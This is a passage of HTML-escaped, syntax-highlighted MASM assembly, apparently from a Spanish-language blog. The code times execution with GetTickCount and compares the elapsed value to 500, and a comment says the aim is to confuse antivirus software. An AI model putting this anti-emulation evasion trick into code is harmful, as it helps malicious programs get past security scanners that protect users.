127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;FALSE &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; 250 * 2= 500 ( para confundir un poco el antivirus )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; GetTickCount&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;sub&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;500&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jl&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;si&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;FALSE&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;si&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span
